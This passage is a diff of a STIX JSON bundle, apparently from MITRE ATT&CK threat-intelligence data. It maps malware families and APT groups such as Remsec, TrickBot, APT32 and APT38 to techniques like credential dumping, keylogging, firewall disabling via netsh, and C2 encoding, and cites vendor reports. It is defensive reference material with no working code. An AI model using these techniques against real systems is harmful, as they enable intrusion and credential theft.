"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "source_name": "FireEye APT10 Sept 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Remsec](https://attack.mitre.org/software/S0125) can dump the SAM database.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--852009ed-1b50-4b08-9e77-53f0271d995c", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.050Z", + "id": "relationship--067814b5-aa57-45e0-9bdf-5536b077c224", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.644Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "The initial beacon packet for [S-Type](https://attack.mitre.org/software/S0085) contains the operating system version and file system of the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7fbb56bf-cadd-4663-8067-f233d4c9c751", + "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[jRAT](https://attack.mitre.org/software/S0283) can list security software, such as by using WMIC to identify anti-virus products installed on the victim\u2019s machine and to obtain firewall details.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--8e685821-98a3-42a0-9c6a-334a8ff078d4", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "modified": "2019-06-24T17:20:24.377Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "jRAT Symantec Aug 2018", + "description": "Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques" + }, + { + "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.", + "source_name": "Kaspersky Adwind Feb 2016", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[OwaAuth](https://attack.mitre.org/software/S0072) captures and DES-encrypts credentials before writing the username and password to a log file, C:\\log.txt.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--33caa1a2-8465-47b9-89c4-94f4e9a899c7", + "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.024Z", + "id": "relationship--edbef2c6-4005-4fdb-b978-9699a7b2a309", + "source_ref": "course-of-action--57019a80-8523-46b6-be7d-f763a15a2cc6", + "modified": "2019-07-25T11:40:52.445Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) decodes the configuration data and modules.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--af7c56df-ced8-45b7-9aef-be1039e30cea", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "modified": "2019-06-24T19:15:06.708Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.", + "source_name": "Fidelis TrickBot Oct 2016", + "url": "https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "Many strings in [JHUHUGIT](https://attack.mitre.org/software/S0044) are obfuscated with a XOR algorithm.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ae1ee1dc-6017-4177-b34c-70db166a939e", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "modified": "2019-02-01T14:39:36.331Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure. (2015, September 8). Sofacy Recycles Carberp and Metasploit Code. Retrieved August 3, 2016.", + "source_name": "F-Secure Sofacy 2015", + "url": "https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/" + }, + { + "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", + "source_name": "ESET Sednit Part 1", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf" + }, + { + "source_name": "Talos Seduploader Oct 2017", + "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "description": "[XTunnel](https://attack.mitre.org/software/S0117) is capable of probing the network for open ports.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a423dc5c-c506-4cc5-b65c-0c9269d18fb6", + "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab", + "modified": "2019-04-19T18:36:32.000Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Belcher, P.. (2016, July 28). Tunnel of Gov: DNC Hack and the Russian XTunnel. Retrieved August 3, 2016.", + "source_name": "Invincea XTunnel", + "url": "https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--29be2366-5ffb-4499-9984-525f76525326", + "source_ref": "course-of-action--548bf7ad-e19c-4d74-84bf-84ac4e57f505", + "modified": "2019-07-25T12:31:54.172Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "[Sykipot](https://attack.mitre.org/software/S0018) may use net view /domain to display hostnames of available systems on a network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7fe49f05-8f96-4fc2-bc5b-b2eea59efca3", + "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.", + "source_name": "AlienVault Sykipot 2011", + "url": "https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "description": "[APT37](https://attack.mitre.org/groups/G0067) has signed its malware with an invalid digital certificates listed as \u201cTencent Technology (Shenzhen) Company Limited.\u201d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--490cc52d-1f6d-45d2-aa0e-2221264c0de0", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.847Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Securelist ScarCruft Jun 2016", + "description": "Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.", + "url": "https://securelist.com/operation-daybreak/75100/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[netsh](https://attack.mitre.org/software/S0108) can be used to disable local firewall settings.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--512879fe-8433-4c78-9345-009ed5168078", + "source_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.", + "source_name": "TechNet Netsh", + "url": "https://technet.microsoft.com/library/bb490939.aspx" + }, + { + "description": "Microsoft. (2009, June 3). Netsh Commands for Windows Firewall. Retrieved April 20, 2016.", + "source_name": "TechNet Netsh Firewall", + "url": "https://technet.microsoft.com/en-us/library/cc771046(v=ws.10).aspx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--6e763ef9-94cb-4244-bea8-86e6d19bfb71", + "source_ref": "intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481", + "modified": "2019-03-25T17:00:47.419Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint TA459 April 2017", + "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) is capable of enumerating Registry keys and values.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--f023577a-e87f-4d0e-beef-575293a86153", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[Mis-Type](https://attack.mitre.org/software/S0084) saves itself as a file named msdtc.exe, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4ffe2425-c971-45e5-9256-0b1a2bf63bbf", + "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + }, + { + "description": "Microsoft. (2011, January 12). Distributed Transaction Coordinator. Retrieved February 25, 2016.", + "source_name": "Microsoft DTC", + "url": "https://technet.microsoft.com/en-us/library/cc759136(v=ws.10).aspx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Remsec](https://attack.mitre.org/software/S0125) contains a network loader to receive executable modules from remote attackers and run them on the local victim. It can also upload and download files over HTTP and HTTPS.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--820c50f3-65e8-4a3a-a71a-e079ae8badad", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.", + "source_name": "Symantec Remsec IOCs", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) uses RC4 and XOR to encrypt C2 traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T14:51:06.828Z", + "id": "relationship--8df1a464-9623-46bf-b23b-0430aa0a8c44", + "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "modified": "2019-04-16T20:26:40.935Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Nccgroup Gh0st April 2018", + "description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.", + "url": "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/april/decoding-network-data-from-a-gh0st-rat-variant/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) adds persistence by creating Registry Run keys.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T17:59:44.535Z", + "id": "relationship--db6220f4-9e1c-487c-9b8d-e016565817e3", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "modified": "2019-04-16T20:55:20.190Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Zeus Panda Nov 2017", + "description": "Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More" + }, + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) collects account information from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:44:05.065Z", + "id": "relationship--0d93e75b-e13d-4bd5-97d2-b4f8d05e9efd", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "modified": "2019-04-16T14:30:35.365Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018.", + "source_name": "DigiTrust Agent Tesla Jan 2017", + "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) has used HTTP for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:09:26.676Z", + "id": "relationship--62fbc8c0-0b5c-4650-9f63-696925d5626c", + "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f", + "modified": "2019-04-19T15:10:04.408Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto UBoatRAT Nov 2017", + "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[Carbon](https://attack.mitre.org/software/S0335) uses the netstat -r and netstat -an commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:36:02.711Z", + "id": "relationship--344f58f9-fefa-4c50-888c-25b2ef9e7dd2", + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "modified": "2019-04-12T14:43:22.647Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GovCERT Carbon May 2016", + "description": "GovCERT. (2016, May 23). Technical Report about the Espionage Case at RUAG. Retrieved November 7, 2018.", + "url": "https://www.melani.admin.ch/dam/melani/de/dokumente/2016/technical%20report%20ruag.pdf.download.pdf/Report_Ruag-Espionage-Case.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Epic](https://attack.mitre.org/software/S0091) uses the tasklist /v command to obtain a list of processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:55:48.137Z", + "id": "relationship--01f98d14-77b9-439f-8b44-920fcaca2b2b", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "modified": "2019-07-26T16:10:42.964Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + }, + { + "source_name": "Kaspersky Turla Aug 2014", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T20:08:24.859Z", + "id": "relationship--6dfdfcc8-ff89-4991-830a-5ca31f43b251", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "modified": "2019-07-25T14:56:46.824Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "source_name": "Unit 42 Gorgon Group Aug 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[APT38](https://attack.mitre.org/groups/G0082) has used a command-line tunneler, NACHOCHEESE, to give them shell access to a victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:27:25.289Z", + "id": "relationship--3ab4c52a-aa3d-4c65-bd68-6614a0fb7bfe", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "modified": "2019-09-09T19:10:53.455Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "source_name": "FireEye APT38 Oct 2018", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) has a feature to perform keylogging on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:40:37.736Z", + "id": "relationship--8907c952-38f8-49de-900d-4f2fa0c485c1", + "source_ref": "malware--aa1462a1-d065-416c-b354-bedd04998c7f", + "modified": "2019-04-23T21:09:54.683Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Yadav, A., et al. (2017, August 31). Cobian RAT \u2013 A backdoored RAT. Retrieved November 13, 2018.", + "source_name": "Zscaler Cobian Aug 2017", + "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[Octopus](https://attack.mitre.org/software/S0340) encodes C2 communications in Base64.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:24:08.980Z", + "id": "relationship--4919cec0-77ce-4505-91e5-5a538fe1b198", + "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2", + "modified": "2019-01-30T13:24:08.980Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.", + "source_name": "Securelist Octopus Oct 2018", + "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Denis](https://attack.mitre.org/software/S0354) has used DNS tunneling for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T20:01:45.452Z", + "id": "relationship--01eb6d18-bb7b-4e4a-b133-60407f40773b", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "modified": "2019-04-24T20:56:04.703Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "source_name": "Cybereason Oceanlotus May 2017", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "description": "Shulmin, A., Yunakovsky, S. (2017, April 28). Use of DNS Tunneling for C&C Communications. Retrieved November 5, 2018.", + "source_name": "Securelist Denis April 2017", + "url": "https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "description": "A version of [KONNI](https://attack.mitre.org/software/S0356) drops a Windows shortcut on the victim\u2019s machine to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T00:36:41.008Z", + "id": "relationship--e57361ca-1d03-4171-86e2-09f8c32cb319", + "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "modified": "2019-07-26T18:47:19.103Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[APT32](https://attack.mitre.org/groups/G0050) used Mimikatz, GetPassword_x64, and customized versions of Windows Credential Dumper, HookChangePassword, and Outlook Credential Dumper to harvest credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T01:07:58.714Z", + "id": "relationship--63835d80-f52b-472c-a605-b0360eea3539", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.336Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + 